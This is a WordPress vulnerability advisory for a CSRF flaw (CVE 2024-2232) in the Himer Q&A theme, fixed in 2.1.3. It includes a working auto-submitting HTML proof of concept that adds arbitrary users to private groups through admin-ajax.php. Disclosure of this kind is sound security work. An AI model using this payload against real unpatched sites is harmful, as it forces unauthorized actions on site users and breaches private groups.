Himer – Social Questions and Answers < 2.1.3 – CSRF While Sending the Invites | CVE 2024-2232 | Theme Vulnerabilities

Description

The theme lacks CSRF checks allowing a user to invite any user to any group (including private groups)

Proof of Concept

A logged in user can open an HTML file and invite any user to any group, including private groups by replacing `__GROUP_ID__` with a group and `__USER_ID__` with an any valid User ID:

```
<form action="http://hacksleep69.tech/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpqa&#95;add&#95;group&#95;user" />
      <input type="hidden" name="group&#95;id" value="6599" />
      <input type="hidden" name="user&#95;id" value="8" />
      <input type="hidden" name="moderator" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Affects Themes

Fixed in 2.1.3

References

CVE

URL

http://hacksleep69.tech/

YouTube Video

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Sushmita Poudel

Submitter

Sushmita Poudel

Submitter website

https://susmitapoudel.com.np

Submitter twitter

poudelsushmita1

Verified

Yes

WPVDB ID

a2df28d3-bf03-4fd3-b231-86e062739899

Timeline

Publicly Published

2024-07-15 (about 1 year ago)

Added

2024-07-15 (about 1 year ago)

Last Updated

2025-08-21 (about 4 months ago)

Other

Published

Title

Published

2014-09-18

Title

Easy Forms for MailChimp 5.0.3 - classes/class.yksemeBase.php Multiple Actions CSRF

Published

2025-04-17

Title

bbPress2 shortcode whitelist <= 2.2.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2022-02-01

Title

Easy Pricing Tables < 3.1.3 - Arbitrary Post Removal via CSRF

Published

2025-01-27

Title

Scroll Styler <= 1.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2025-03-24

Title

Pro Rank Tracker <= 1.0.0 - Cross-Site Request Forgery to Stored Cross-Site Scripting